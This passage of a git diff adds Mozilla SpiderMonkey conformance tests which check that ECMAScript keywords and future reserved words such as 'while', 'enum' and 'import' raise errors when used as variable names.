+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-12-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-12-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-12-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var while = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var while = true", "error", eval("var while = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-13-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-13-n.js
new file mode 100644
index 000000000..7deec9473
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-13-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-13-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-13-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var else = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var else = true", "error", eval("var else = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-14-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-14-n.js
new file mode 100644
index 000000000..00eafceef
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-14-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-14-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-14-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var in = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var in = true", "error", eval("var in = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-15-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-15-n.js
new file mode 100644
index 000000000..4b224fc2d
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-15-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-15-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-15-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var typeof = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var typeof = true", "error", eval("var typeof = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-16-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-16-n.js
new file mode 100644
index 000000000..08418bbc9
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-16-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-16-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-16-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var with = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var with = true", "error", eval("var with = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-2-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-2-n.js
new file mode 100644
index 000000000..54085e214
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-2-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-2-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var for = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var for = true", "error", eval("var for = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-3-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-3-n.js
new file mode 100644
index 000000000..194ec14bd
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-3-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-3-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var new = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var new = true", "error", eval("var new = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-4-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-4-n.js
new file mode 100644
index 000000000..1784ceefa
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-4-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-4-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var var = true";
+EXPECTED = "error";
+
+TestCase( SECTION, "var var = true", "error", eval("var var = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-5-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-5-n.js
new file mode 100644
index 000000000..df54b433a
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-5-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-5-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-5-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var continue = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var continue = true", "error", eval("var continue = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-6-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-6-n.js
new file mode 100644
index 000000000..4c43976ca
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-6-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-6.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-6-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var function = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var function = true", "error", eval("var function = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-7-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-7-n.js
new file mode 100644
index 000000000..d038de1c1
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-7-n.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-7-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-7";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + " Keywords");
+
+DESCRIPTION = "var return = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var return = true", "error", eval("var return = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-8-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-8-n.js
new file mode 100644
index 000000000..a1d06f3b1
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-8-n.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-8-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Keywords");
+
+DESCRIPTION = "var void = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var void = true", "error", eval("var void = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-9-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-9-n.js
new file mode 100644
index 000000000..2c3dfb8bd
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-9-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-9-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var delete = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var delete = true", "error", eval("var delete = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-1-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-1-n.js
new file mode 100644
index 000000000..b984db0c6
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-1-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-1-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var case = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var case = true", "error", eval("var case = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-10-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-10-n.js
new file mode 100644
index 000000000..370d50f06
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-10-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-10-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-10-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var do = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var do = true", "error", eval("var do = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-11-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-11-n.js
new file mode 100644
index 000000000..625154cdd
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-11-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-11-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-11-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var finally = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var finally = true", "error", eval("var finally = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-12-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-12-n.js
new file mode 100644
index 000000000..ef1c29e0a
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-12-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-12-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-12-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var throw = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var throw = true", "error", eval("var throw = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-13-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-13-n.js
new file mode 100644
index 000000000..a4ec57f87
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-13-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-13-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-13-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var const = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var const = true", "error", eval("var const = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-14-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-14-n.js
new file mode 100644
index 000000000..748cb7183
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-14-n.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-14-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-14-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var actual = 'no error';
+var prefValue;
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+try
+{
+ eval("var enum = true");
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+DESCRIPTION = "var enum = true";
+EXPECTED = "error";
+
+// force exception since this is a negative test
+if (actual == 'error')
+{
+ throw actual;
+}
+
+new TestCase( SECTION,
+ "var enum = true",
+ "error",
+ actual );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-15-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-15-n.js
new file mode 100644
index 000000000..5a3d62c8c
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-15-n.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-15-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-15-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var actual = 'no error';
+var prefValue;
+
+print("This test requires option javascript.options.strict enabled");
+
+options('strict');
+options('werror');
+
+try
+{
+ eval("var import = true");
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+DESCRIPTION = "var import = true";
+EXPECTED = "error";
+
+// force exception since this is a negative test
+if (actual == 'error')
+{
+ throw actual;
+}
+
+new TestCase( SECTION,
+ "var import = true",
+ "error",
+ actual );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-16-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-16-n.js
new file mode 100644
index 000000000..5a42152e6
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-16-n.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-023.js
+ Corresponds To: 7.4.3-16-n.js
+ ECMA Section: 7.4.3
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-023.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+/*
+ try {
+ try = true;
+ } catch ( e ) {
+ result = expect;
+ exception = e.toString();
+ }
+*/
+
+DESCRIPTION = "try = true";
+EXPECTED = "error";
+
+new TestCase(
+ SECTION,
+ "try = true" +
+ " (threw " + exception +")",
+ "error",
+ eval("try = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-2-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-2-n.js
new file mode 100644
index 000000000..6e3e557ee
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-2-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-2-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var debugger = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var debugger = true", "error", eval("var debugger = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-3-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-3-n.js
new file mode 100644
index 000000000..f3b0b38db
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-3-n.js
@@ -0,0 +1,38 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-3-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
